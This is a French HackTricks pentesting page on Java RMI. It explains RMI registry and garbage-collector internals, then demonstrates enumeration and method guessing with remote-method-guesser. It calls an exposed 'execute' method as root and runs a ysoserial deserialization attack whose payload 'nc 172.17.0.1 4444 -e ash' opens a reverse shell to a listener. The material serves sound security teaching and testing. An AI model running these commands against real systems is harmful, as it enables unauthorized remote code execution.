Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 14:40:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/1099-pentesting-java-rmi.md

20 KiB
Raw Blame History

1098/1099/1050 - Pentesting Java RMI - RMI-IIOP

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :


Utilisez Trickest pour construire et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui :

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}

Informations de base

L'invocation de méthode à distance Java, ou Java RMI, est un mécanisme RPC orienté objet qui permet à un objet situé dans une machine virtuelle Java d'appeler des méthodes sur un objet situé dans une autre machine virtuelle Java. Cela permet aux développeurs d'écrire des applications distribuées en utilisant un paradigme orienté objet. Une brève introduction à Java RMI d'un point de vue offensif peut être trouvée dans cette présentation blackhat.

Port par défaut : 1090,1098,1099,1199,4443-4446,8999-9010,9999

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

Généralement, seuls les composants par défaut de Java RMI (le Registre RMI et le Système d'Activation) sont liés à des ports communs. Les objets distants qui implémentent l'application RMI réelle sont généralement liés à des ports aléatoires comme indiqué dans la sortie ci-dessus.

nmap a parfois du mal à identifier les services RMI protégés par SSL. Si vous rencontrez un service SSL inconnu sur un port RMI commun, vous devriez enquêter davantage.

Composants RMI

Pour le dire simplement, Java RMI permet à un développeur de rendre un objet Java disponible sur le réseau. Cela ouvre un port TCP où les clients peuvent se connecter et appeler des méthodes sur l'objet correspondant. Malgré que cela semble simple, il existe plusieurs défis que Java RMI doit résoudre :

  1. Pour acheminer un appel de méthode via Java RMI, les clients doivent connaître l'adresse IP, le port d'écoute, la classe ou l'interface implémentée et l'ObjID de l'objet ciblé (l'ObjID est un identifiant unique et aléatoire créé lorsque l'objet est rendu disponible sur le réseau. Il est requis car Java RMI permet à plusieurs objets d'écouter sur le même port TCP).
  2. Les clients distants peuvent allouer des ressources sur le serveur en invoquant des méthodes sur l'objet exposé. La machine virtuelle Java doit suivre quelles de ces ressources sont toujours en cours d'utilisation et lesquelles peuvent être collectées par le garbage collector.

Le premier défi est résolu par le registre RMI, qui est essentiellement un service de nommage pour Java RMI. Le registre RMI lui-même est également un service RMI, mais l'interface implémentée et l'ObjID sont fixes et connus de tous les clients RMI. Cela permet aux clients RMI de consommer le registre RMI en connaissant simplement le port TCP correspondant.

Lorsque les développeurs veulent rendre leurs objets Java disponibles sur le réseau, ils les lient généralement à un registre RMI. Le registre stocke toutes les informations requises pour se connecter à l'objet (adresse IP, port d'écoute, classe ou interface implémentée et la valeur ObjID) et le rend disponible sous un nom lisible par l'homme (le nom lié). Les clients qui veulent consommer le service RMI demandent au registre RMI le nom lié correspondant et le registre renvoie toutes les informations requises pour se connecter. Ainsi, la situation est essentiellement la même qu'avec un service DNS ordinaire. L'exemple suivant montre un petit exemple :

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}

Le deuxième des défis mentionnés ci-dessus est résolu par le Collecteur de Déchets Distribué (DGC). Il s'agit d'un autre service RMI avec une valeur ObjID bien connue et il est disponible sur pratiquement chaque point de terminaison RMI. Lorsqu'un client RMI commence à utiliser un service RMI, il envoie une information au DGC indiquant que l'objet distant correspondant est en cours d'utilisation. Le DGC peut alors suivre le nombre de références et est capable de nettoyer les objets inutilisés.

Avec le Système d'Activation obsolète, ce sont les trois composants par défaut de Java RMI :

  1. Le Registre RMI (ObjID = 0)
  2. Le Système d'Activation (ObjID = 1)
  3. Le Collecteur de Déchets Distribué (ObjID = 2)

Les composants par défaut de Java RMI sont des vecteurs d'attaque connus depuis un certain temps et plusieurs vulnérabilités existent dans les anciennes versions de Java. Du point de vue d'un attaquant, ces composants par défaut sont intéressants, car ils implémentent des classes/interfaces connues et il est facile d'interagir avec eux. Cette situation est différente pour les services RMI personnalisés. Pour appeler une méthode sur un objet distant, vous devez connaître à l'avance la signature de la méthode correspondante. Sans connaître une signature de méthode existante, il n'y a aucun moyen de communiquer avec un service RMI.

Énumération RMI

remote-method-guesser est un scanner de vulnérabilité Java RMI capable d'identifier automatiquement les vulnérabilités RMI courantes. Chaque fois que vous identifiez un point de terminaison RMI, vous devriez essayer :

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

La sortie de l'action d'énumération est expliquée plus en détail dans les pages de documentation du projet. Selon le résultat, vous devriez essayer de vérifier les vulnérabilités identifiées.

Les valeurs ObjID affichées par remote-method-guesser peuvent être utilisées pour déterminer le temps de disponibilité du service. Cela peut permettre d'identifier d'autres vulnérabilités :

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

Bruteforcing Remote Methods

Même lorsque aucune vulnérabilité n'a été identifiée lors de l'énumération, les services RMI disponibles pourraient toujours exposer des fonctions dangereuses. De plus, bien que la communication RMI avec les composants par défaut de RMI soit protégée par des filtres de désérialisation, lorsqu'il s'agit de services RMI personnalisés, de tels filtres ne sont généralement pas en place. Connaître les signatures de méthode valides sur les services RMI est donc précieux.

Malheureusement, Java RMI ne prend pas en charge l'énumération des méthodes sur les objets distants. Cela dit, il est possible de forcer les signatures de méthode avec des outils tels que remote-method-guesser ou rmiscout:

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

Les méthodes identifiées peuvent être appelées de cette manière :

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

Ou vous pouvez effectuer des attaques de désérialisation comme ceci :

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

Plus d'informations peuvent être trouvées dans ces articles :

Outre la devinette, vous devriez également rechercher dans les moteurs de recherche ou sur GitHub l'interface ou même l'implémentation d'un service RMI rencontré. Le nom lié et le nom de la classe ou de l'interface implémentée peuvent être utiles ici.

Interfaces Connues

remote-method-guesser marque les classes ou interfaces comme connues si elles sont répertoriées dans la base de données interne de services RMI connus de l'outil. Dans ces cas, vous pouvez utiliser l'action connue pour obtenir plus d'informations sur le service RMI correspondant :

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

Shodan

  • port:1099 java

Outils

Références

Commandes Automatiques HackTricks

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}


Utilisez Trickest pour construire facilement et automatiser des workflows alimentés par les outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui à :

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :